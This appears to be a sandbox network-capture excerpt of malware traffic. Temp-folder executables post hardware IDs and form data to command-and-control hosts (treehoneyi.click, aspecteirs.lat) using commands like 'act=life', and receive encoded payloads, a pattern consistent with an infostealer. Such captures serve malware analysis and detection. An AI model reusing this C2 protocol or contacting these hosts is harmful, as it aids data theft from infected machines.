U5+Ekjh1YdAATmXi//vWFT4B7OM2bWQ2PALROR/0iCFeisfFe0R3wBhJZP7m8N4GPhyhrnB6aCtuU8cqA7PZL0DSgJF7PyDQG0hv7uPj2BY8A+jpNGNsOioP1j8XuM1mWp2DlDVub5ZcDm/wramdMSgP7e1wdCEjbgzdekz0ym9cko2bP2Jm3BdOY+vi9dsUPAzq6TFtajAlDdw5ErKGLxmVn91jJ0DNH0JvqPK/xFA0AKG4cGBjPikL3DkcscJ
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 4c 49 34 64 6d 6d 57 58 41 35 76 2f 71 32 70 6e 53 35 7a 48 75 4c 77 4d 32 52 2b 42 47 35 54 79 41 52 55 76 39 42 6d 53 5a 47 52 6c 6a 5a 72 63 65 68 53 46 6a 79 36 76 36 4f 50 51 69 78 4d 2f 74 39 2b 4b 32 35 36 64 6a 4c 49 65 67 4c 30 6e 6a 4d 58 30 70 58 64 59 79 63 6e 31 51 42 63 62 75 76 37 38 70 6f 75 44 53 76 33 36 6a 64 37 61 43 30 68 53 35 39 36 47 2f 53 65 57 42 6d 62 67 49 59 71 63 57 33 47 46 51 35 58 70 71 33 70 6e 55 68 7a 4f 65 4c 75 50 6d 78 35 4b 32 4d 73 78 7a 41 54 70 4d 46 32 56 74 4c 4a 33 54 30 6e 4f 49 56 63 44 6d 7a 35 72 61 6d 4e 51 6d 68 5a 73 72 64 67 4f 58 42 30 4e 30 76 48 65 6b 7a 6d 69 43 46 4c 30 74 2f 64 66 47 52 79 78 42 52 4e 66 75 75 71 7a 2b 4d 33 4b 51 48 6e 39 79 46 56 55 54 30 30 42 74 63 74 42 66 6a 54 59 6c 65 63 Data Ascii: LI4dmmWXA5v/q2pnS5zHuLwM2R+BG5TyARUv9BmSZGRljZrcehSFjy6v6OPQixM/t9+K256djLIegL0njMX0pXdYycn1QBcbuv78pouDSv36jd7aC0hS596G/SeWBmbgIYqcW3GFQ5Xpq3pnUhzOeLuPmx5K2MsxzATpMF2VtLJ3T0nOIVcDmz5ramNQmhZsrdgOXB0N0vHekzmiCFL0t/dfGRyxBRNfuuqz+M3KQHn9yFVUT00BtctBfjTYlec
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 6b 67 30 46 49 57 4f 4b 61 74 39 63 78 51 61 31 79 7a 75 32 55 34 4f 47 70 38 46 4a 38 6a 56 4b 4b 47 4f 51 76 63 78 34 39 37 50 79 43 52 45 56 78 36 37 75 37 6e 33 6c 63 4e 4d 73 62 75 4e 32 70 35 4b 6a 6b 45 37 77 51 42 74 38 68 76 58 6f 53 57 33 58 55 6e 62 35 5a 4b 64 79 69 67 72 63 36 54 55 43 74 4d 75 61 41 46 61 47 45 30 4b 52 33 41 64 7a 4f 36 77 57 42 50 67 70 43 53 65 79 6b 67 30 46 49 57 4f 71 61 74 39 63 78 51 61 31 79 7a 75 32 55 34 4f 47 70 38 46 4a 38 6a 56 4b 4b 47 4f 51 76 63 78 34 39 37 50 79 43 52 45 56 78 36 37 75 37 6e 33 6c 63 4e 4d 73 62 75 4e 32 70 35 4b 6a 6b 45 6e 68 51 69 6c 66 68 66 54 4a 47 4a 6b 7a 78 78 63 5a 5a 63 44 6d 65 6f 74 63 69 64 57 48 4d 7a 72 36 41 6f 4b 7a 64 36 47 77 6a 66 4e 42 4f 69 31 79 78 2b 6e 49 43 63 4c Data Ascii: kg0FIWOKat9cxQa1yzu2U4OGp8FJ8jVKKGOQvcx497PyCREVx67u7n3lcNMsbuN2p5KjkE7wQBt8hvXoSW3XUnb5ZKdyigrc6TUCtMuaAFaGE0KR3AdzO6wWBPgpCSeykg0FIWOqat9cxQa1yzu2U4OGp8FJ8jVKKGOQvcx497PyCREVx67u7n3lcNMsbuN2p5KjkEnhQilfhfTJGJkzxxcZZcDmeotcidWHMzr6AoKzd6GwjfNBOi1yx+nICcL
2024-12-18 20:30:29 UTC	1369	IN	Data Raw: 56 58 6d 75 71 33 50 7a 5a 42 69 59 50 38 65 63 4f 56 55 49 6f 4b 52 76 53 65 43 57 69 78 57 46 58 6c 63 66 54 65 33 38 67 6a 6c 4a 6a 65 75 2f 39 38 70 31 65 63 77 43 68 75 48 42 6d 66 54 30 2b 43 4a 30 39 44 72 4f 47 66 68 65 4c 78 34 74 37 50 7a 4f 59 55 6c 77 6f 73 4b 32 32 30 78 30 79 44 2b 2f 6a 49 6e 6c 70 4f 54 67 49 6c 67 51 71 6d 64 52 6d 53 5a 48 46 72 44 5a 6a 64 73 4d 52 58 6d 2f 57 30 39 7a 50 46 79 4d 50 6f 38 77 33 5a 6d 4d 45 45 44 7a 41 50 51 54 32 34 47 4a 50 6b 63 66 54 65 33 38 67 6a 6c 4a 6a 65 75 2f 39 38 70 38 38 4e 41 48 74 6f 43 38 6c 64 6e 6f 34 53 34 6c 70 57 76 54 55 49 51 48 53 77 4a 34 70 64 57 62 56 42 45 30 76 31 74 50 63 7a 78 63 6a 44 36 50 52 50 57 39 35 4c 79 30 62 31 67 51 71 6d 64 52 6d 53 5a 48 46 75 41 45 6c 55 63 Data Ascii: VXmuq3PzZBiYP8ecOVUIoKRvSeCWixWFXlcfTe38gjlJjeu/98p1ecwChuHBmfT0+CJ09DrOGfheLx4t7PzOYUlwosK220x0yD+/jInlpOTgIlgQqmdRmSZHFrDZjdsMRXm/W09zPFyMPo8w3ZmMEEDzAPQT24GJPkcfTe38gjlJjeu/98p88NAHtoC8ldno4S4lpWvTUIQHSwJ4pdWbVBE0v1tPczxcjD6PRPW95Ly0b1gQqmdRmSZHFuAElUc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49811	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:31 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T64QUUCF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12777 Host: treehoneyi.click
2024-12-18 20:30:31 UTC	12777	OUT	Data Raw: 2d 2d 54 36 34 51 55 55 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 54 36 34 51 55 55 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 36 34 51 55 55 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 54 36 34 51 55 55 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --T64QUUCFContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--T64QUUCFContent-Disposition: form-data; name="pid"2--T64QUUCFContent-Disposition: form-data; name="lid"rAGxSF--Support--T64QUUCFContent-Dispos
2024-12-18 20:30:32 UTC	1039	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hp8f2as670ban60he5c0gduk5i; expires=Sun, 13-Apr-2025 14:17:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z94iKgMmQhI8rhsgZkrXaA1PnqeltUZr0jxa9%2Ft99ufbEVzir0wL%2FVVMo%2BbxkXgQZ%2FY9lPjNvCEMzHn9RZBKnOUReJHPxAPnor2CN4sUbglouwLjmreL%2FHSE8vYwl5kd1CTG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9457b148c99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1953&rtt_var=758&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13707&delivery_rate=1419543&cwnd=247&unsent_bytes=0&cid=9bcc65684169775d&ts=977&x=0"
2024-12-18 20:30:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49812	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:31 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aspecteirs.lat
2024-12-18 20:30:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 20:30:32 UTC	1038	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=294obom105lb6nc3ohirn4u4hq; expires=Sun, 13-Apr-2025 14:17:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2705tSnALpSA3e5zYe9wyi3OhSGDs9Wh0q1qHPdFX3Lqr3%2Fj3C1K1kseRc8xfkc4TVh0dGPvuCKThIw%2Bxf%2BMTjQvQ3cWMmgk%2BvPpIJ7PEnLqxUS05giZeyTmeGs2gxOYug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9489f32436e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1594&rtt_var=613&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1763285&cwnd=235&unsent_bytes=0&cid=17a4c3d47cdffb52&ts=895&x=0"
2024-12-18 20:30:32 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 20:30:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49813	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YCS1LATG0Z2P8ENWTV5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15085 Host: treehoneyi.click
2024-12-18 20:30:33 UTC	15085	OUT	Data Raw: 2d 2d 59 43 53 31 4c 41 54 47 30 5a 32 50 38 45 4e 57 54 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 43 53 31 4c 41 54 47 30 5a 32 50 38 45 4e 57 54 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 43 53 31 4c 41 54 47 30 5a 32 50 38 45 4e 57 54 56 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 Data Ascii: --YCS1LATG0Z2P8ENWTV5Content-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--YCS1LATG0Z2P8ENWTV5Content-Disposition: form-data; name="pid"2--YCS1LATG0Z2P8ENWTV5Content-Disposition: form-data; name="lid"rAGxSF--Su
2024-12-18 20:30:34 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nrs6d46tdcf6k4kccsvjkpmhod; expires=Sun, 13-Apr-2025 14:17:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pbSrjuHOFoleqOOuV0%2FlZwwAEjIQKXL4vc%2F29WRRx9%2B7P9c8bIbGSw3TAbEvwoJyeJogdybBheOxD9aKDGWTWUWJteUEFh%2FP405lFQXiFbraeyntt5nF3A9R1DZXT5MkptZF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9545e64431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1701&rtt_var=665&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2840&recv_bytes=16026&delivery_rate=1614151&cwnd=224&unsent_bytes=0&cid=6980dedd9de7d1c3&ts=999&x=0"
2024-12-18 20:30:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49814	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:33 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: aspecteirs.lat
2024-12-18 20:30:33 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CVmr0t--installs&j=
2024-12-18 20:30:34 UTC	1040	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9k97a2rcfh17j204c5tfep8af6; expires=Sun, 13-Apr-2025 14:17:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cP2ttZuUMtGJBu%2BEXtuxzzSRW4Sra01cQspgCvv4Cb4xdGF%2BSh9eHBOy5IzW7Dujq13Lj6JVkhpRW2%2F%2BvyaOJOzY3Fhg8EC2oC2ToNFQJKqY8dtyZ5x8CE30yfxVVFiHfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e955681c8c93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10162&min_rtt=2042&rtt_var=5774&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=948&delivery_rate=1429970&cwnd=192&unsent_bytes=0&cid=b8326998508f9927&ts=750&x=0"
2024-12-18 20:30:34 UTC	329	IN	Data Raw: 34 39 31 63 0d 0a 4b 4e 75 6c 66 34 44 4e 66 75 72 64 33 62 4e 4c 61 44 4e 30 69 59 78 61 6a 4d 5a 55 66 39 64 50 2b 54 63 6a 7a 4e 37 4b 36 4c 74 54 2b 64 4e 64 75 76 6c 53 79 4b 36 34 6b 58 45 63 51 51 48 73 6f 48 6a 74 6f 6e 5a 46 73 53 36 56 52 45 62 67 2f 4c 79 46 6d 52 4b 39 78 42 50 7a 71 46 4c 49 75 4b 57 52 63 54 4e 49 56 75 7a 69 65 4c 62 6b 4d 52 57 31 4c 70 56 56 51 71 65 78 75 6f 54 59 51 4c 66 43 46 2b 57 75 47 6f 75 78 73 4e 59 75 44 56 49 65 35 2b 55 33 35 4b 74 32 55 2f 55 71 67 78 55 5a 37 70 4f 76 6e 4e 70 6c 75 74 59 55 6f 72 42 53 6b 66 2b 34 33 57 6c 53 45 52 58 73 37 6a 62 71 6f 6a 38 58 76 79 65 64 56 45 65 6d 72 71 4f 4f 30 30 43 35 77 52 62 76 70 77 36 47 75 37 66 64 4b 41 64 53 56 71 57 75 50 2f 62 6b 62 6c 33 6d 48 35 68 45 55 Data Ascii: 491cKNulf4DNfurd3bNLaDN0iYxajMZUf9dP+TcjzN7K6LtT+dNduvlSyK64kXEcQQHsoHjtonZFsS6VREbg/LyFmRK9xBPzqFLIuKWRcTNIVuzieLbkMRW1LpVVQqexuoTYQLfCF+WuGouxsNYuDVIe5+U35Kt2U/UqgxUZ7pOvnNplutYUorBSkf+43WlSERXs7jbqoj8XvyedVEemrqOO00C5wRbvpw6Gu7fdKAdSVqWuP/bkbl3mH5hEU
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 2b 70 7a 55 4a 75 44 7a 62 53 67 2b 33 2f 4b 2b 47 6d 52 4c 35 77 52 50 6a 6f 68 79 61 74 37 54 61 4c 42 68 61 48 2b 62 6a 4f 4f 4f 75 4f 52 36 31 4b 70 46 66 54 71 53 34 70 59 66 66 53 72 6d 48 55 36 4b 6f 42 4d 6a 6e 2f 2f 49 73 47 6c 59 61 2f 61 77 43 72 72 74 34 42 50 55 71 6c 78 55 5a 37 72 53 74 69 64 70 42 74 73 51 56 36 62 30 63 6d 72 6d 79 31 44 73 4d 56 42 6a 68 37 53 72 6b 71 6a 41 65 76 43 61 53 55 45 61 71 2f 4f 62 4b 33 6c 4c 35 6e 31 33 44 6f 68 65 45 74 61 6a 52 61 52 55 66 44 36 76 70 4e 4b 37 38 64 68 6d 30 4b 5a 70 52 54 36 43 34 70 49 7a 58 52 37 62 42 46 2b 4b 6f 46 6f 43 33 76 74 77 69 42 56 45 54 35 75 6f 2b 34 71 55 7a 58 66 74 74 6e 45 30 42 39 76 79 47 6a 64 70 59 2b 2f 49 65 37 4b 45 62 6e 76 2b 67 6e 7a 42 4b 56 68 71 72 74 6e Data Ascii: +pzUJuDzbSg+3/K+GmRL5wRPjohyat7TaLBhaH+bjOOOuOR61KpFfTqS4pYffSrmHU6KoBMjn//IsGlYa/awCrrt4BPUqlxUZ7rStidpBtsQV6b0cmrmy1DsMVBjh7SrkqjAevCaSUEaq/ObK3lL5n13DoheEtajRaRUfD6vpNK78dhm0KZpRT6C4pIzXR7bBF+KoFoC3vtwiBVET5uo+4qUzXfttnE0B9vyGjdpY+/Ie7KEbnv+gnzBKVhqrtn
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 46 2f 56 6a 32 31 4a 5a 37 75 54 6f 75 38 35 42 2b 2f 49 65 37 4b 45 62 6e 76 2b 67 6e 7a 42 4b 56 68 71 72 74 6e 6a 6a 72 44 4d 59 75 69 79 52 57 30 53 6b 73 4b 43 45 32 6c 69 32 77 78 33 75 70 78 61 46 73 62 76 5a 49 41 46 61 45 4f 76 76 4d 71 37 71 64 68 71 74 62 63 4d 56 64 61 6d 77 70 59 57 62 66 37 72 4a 45 2b 57 35 58 4a 66 78 70 70 45 75 42 68 46 4f 71 2b 49 78 37 71 38 38 47 62 55 71 6c 6c 42 43 71 62 2b 6c 6a 64 4e 45 76 73 4d 52 36 36 49 61 69 4c 69 37 31 44 73 50 57 42 72 6e 72 6e 61 75 6f 79 35 64 37 57 32 30 55 6c 65 74 6b 36 75 62 30 41 71 6d 69 51 53 69 71 42 44 49 35 2f 2f 57 4c 41 4a 61 45 4f 50 75 4b 75 75 71 50 52 79 2f 4b 35 70 59 54 61 69 38 71 59 72 66 52 72 6e 41 47 76 43 39 47 59 36 74 74 5a 46 6e 53 6c 59 4f 71 37 5a 34 32 4c 51 Data Ascii: F/Vj21JZ7uTou85B+/Ie7KEbnv+gnzBKVhqrtnjjrDMYuiyRW0SksKCE2li2wx3upxaFsbvZIAFaEOvvMq7qdhqtbcMVdamwpYWbf7rJE+W5XJfxppEuBhFOq+Ix7q88GbUqllBCqb+ljdNEvsMR66IaiLi71DsPWBrnrnauoy5d7W20Uletk6ub0AqmiQSiqBDI5//WLAJaEOPuKuuqPRy/K5pYTai8qYrfRrnAGvC9GY6ttZFnSlYOq7Z42LQ
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 70 52 63 54 71 61 30 70 34 58 64 52 4c 2f 42 45 4f 65 67 46 70 71 33 73 64 77 69 42 56 6f 45 36 2b 4d 38 34 71 41 2b 46 72 39 74 31 52 56 47 74 76 7a 77 79 75 78 48 74 73 63 65 39 4f 38 44 78 71 62 2f 31 69 56 4b 43 56 62 6e 34 44 6a 68 71 44 6f 57 76 53 79 58 57 30 61 72 74 61 43 43 79 30 75 39 7a 78 7a 73 6f 42 32 4d 75 72 72 56 4c 67 35 58 47 61 75 67 65 4f 6d 38 64 6b 58 31 41 72 78 67 41 34 2b 47 36 4a 57 58 55 2f 6e 41 45 61 4c 33 58 49 53 38 73 39 6b 6d 44 46 67 61 34 65 63 7a 34 71 38 79 45 62 77 6f 6e 56 52 45 71 37 32 73 68 74 4e 4d 75 73 51 53 37 61 41 55 79 50 48 2f 31 6a 46 4b 43 56 62 4f 2b 54 50 67 6f 6e 59 43 2b 7a 54 62 55 6b 33 75 35 4f 69 47 30 45 79 2f 77 68 48 6a 71 52 53 4e 74 37 76 51 4c 77 78 53 47 65 2f 72 4f 65 47 67 4f 68 4f 2f Data Ascii: pRcTqa0p4XdRL/BEOegFpq3sdwiBVoE6+M84qA+Fr9t1RVGtvzwyuxHtsce9O8Dxqb/1iVKCVbn4DjhqDoWvSyXW0artaCCy0u9zxzsoB2MurrVLg5XGaugeOm8dkX1ArxgA4+G6JWXU/nAEaL3XIS8s9kmDFga4ecz4q8yEbwonVREq72shtNMusQS7aAUyPH/1jFKCVbO+TPgonYC+zTbUk3u5OiG0Ey/whHjqRSNt7vQLwxSGe/rOeGgOhO/
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 79 6c 72 71 2b 46 33 55 32 31 77 52 4c 6b 72 68 6d 43 73 37 6a 55 49 67 56 64 56 71 57 75 50 2f 62 6b 62 6c 32 62 4a 6f 68 43 51 71 43 33 76 70 47 5a 56 66 66 65 58 65 57 6a 58 4e 44 2f 76 4e 6f 69 44 6c 45 61 36 2b 6f 31 37 72 59 35 47 72 49 6b 6b 45 64 4c 71 62 75 6a 67 74 4a 46 76 39 55 52 37 4c 30 5a 6d 71 33 2f 6e 32 6b 4e 53 56 61 7a 72 67 37 70 74 43 59 65 39 78 79 4e 56 6c 65 6c 73 61 54 4b 78 67 53 67 68 78 72 75 37 30 54 49 75 62 44 59 4b 67 56 51 48 2b 66 6a 50 65 65 68 4e 78 75 78 4a 35 46 56 52 36 69 39 72 59 44 61 53 37 50 4f 47 75 71 6f 48 35 72 2f 38 5a 45 75 45 68 46 4f 71 38 63 2f 2f 4b 6f 6d 58 61 70 6a 67 68 56 47 6f 76 7a 77 79 74 31 41 74 73 4d 61 37 71 6b 5a 6a 72 4b 2b 33 69 67 4b 58 68 4c 67 35 7a 37 76 71 54 4d 51 73 54 2b 52 58 Data Ascii: ylrq+F3U21wRLkrhmCs7jUIgVdVqWuP/bkbl2bJohCQqC3vpGZVffeXeWjXND/vNoiDlEa6+o17rY5GrIkkEdLqbujgtJFv9UR7L0Zmq3/n2kNSVazrg7ptCYe9xyNVlelsaTKxgSghxru70TIubDYKgVQH+fjPeehNxuxJ5FVR6i9rYDaS7POGuqoH5r/8ZEuEhFOq8c//KomXapjghVGovzwyt1AtsMa7qkZjrK+3igKXhLg5z7vqTMQsT+RX
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 6f 69 74 4e 50 73 38 6f 65 37 61 77 4f 69 62 6d 74 30 53 51 41 51 78 7a 67 36 7a 58 6a 71 54 55 62 73 79 61 58 52 30 69 75 76 36 50 4b 6c 77 71 2b 33 31 32 36 37 7a 2b 66 71 62 58 57 4a 52 78 61 46 2b 6a 34 4e 66 37 6b 65 46 32 6b 4b 6f 6f 56 47 62 69 73 76 34 33 47 42 4b 43 48 47 75 37 76 52 4d 69 35 74 74 63 75 44 46 38 45 37 75 67 33 34 61 30 2f 47 62 30 75 6d 31 46 46 71 62 6d 72 68 74 4a 4e 75 73 67 5a 36 36 45 56 68 2f 2f 78 6b 53 34 53 45 55 36 72 7a 79 50 74 71 44 74 64 71 6d 4f 43 46 55 61 69 2f 50 44 4b 31 55 53 38 78 78 66 6b 71 78 6d 4f 74 62 72 52 49 67 6c 65 45 75 33 71 4e 2b 36 76 50 78 79 7a 4b 4a 46 65 52 36 4f 2f 72 6f 79 5a 42 50 6e 41 42 61 4c 33 58 4b 69 6b 73 74 30 75 53 6b 35 59 38 71 34 2f 34 75 52 75 58 62 34 68 6e 31 4a 42 6f 37 Data Ascii: oitNPs8oe7awOibmt0SQAQxzg6zXjqTUbsyaXR0iuv6PKlwq+31267z+fqbXWJRxaF+j4Nf7keF2kKooVGbisv43GBKCHGu7vRMi5ttcuDF8E7ug34a0/Gb0um1FFqbmrhtJNusgZ66EVh//xkS4SEU6rzyPtqDtdqmOCFUai/PDK1US8xxfkqxmOtbrRIgleEu3qN+6vPxyzKJFeR6O/royZBPnABaL3XKikst0uSk5Y8q4/4uRuXb4hn1JBo7
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 5a 62 37 52 48 73 32 73 44 59 48 2f 38 5a 45 75 48 42 46 4f 71 39 42 34 2f 4b 63 6d 48 72 6f 38 70 52 55 5a 74 34 4c 6f 67 63 39 4e 71 63 51 4c 36 61 49 51 6d 59 48 2f 69 58 31 59 41 30 53 35 76 43 65 75 75 77 6c 54 39 53 7a 62 44 58 69 33 2f 4c 37 4b 67 52 6a 33 68 77 2b 69 39 31 7a 50 76 4b 33 44 4c 77 6c 48 46 61 7a 51 42 73 6d 79 50 42 71 6c 4b 6f 78 61 41 65 44 38 70 38 71 42 63 2f 6e 4f 47 76 6d 2b 43 6f 57 76 75 4a 45 57 52 42 45 4f 71 37 5a 34 32 36 63 34 45 37 49 37 69 68 68 6d 75 4c 61 76 6d 74 35 64 74 6f 64 54 6f 71 6c 63 30 4f 7a 78 6b 53 30 62 45 55 36 37 76 47 4f 37 39 32 46 4e 35 7a 4c 56 54 41 47 34 2f 50 44 59 6c 77 71 72 68 30 57 69 36 42 2b 61 72 62 6e 53 50 77 6b 57 4b 4e 58 4a 49 75 4f 69 49 51 79 4c 45 35 78 50 54 4b 69 72 75 63 62 Data Ascii: Zb7RHs2sDYH/8ZEuHBFOq9B4/KcmHro8pRUZt4Logc9NqcQL6aIQmYH/iX1YA0S5vCeuuwlT9SzbDXi3/L7KgRj3hw+i91zPvK3DLwlHFazQBsmyPBqlKoxaAeD8p8qBc/nOGvm+CoWvuJEWRBEOq7Z426c4E7I7ihhmuLavmt5dtodToqlc0OzxkS0bEU67vGO792FN5zLVTAG4/PDYlwqrh0Wi6B+arbnSPwkWKNXJIuOiIQyLE5xPTKirucb
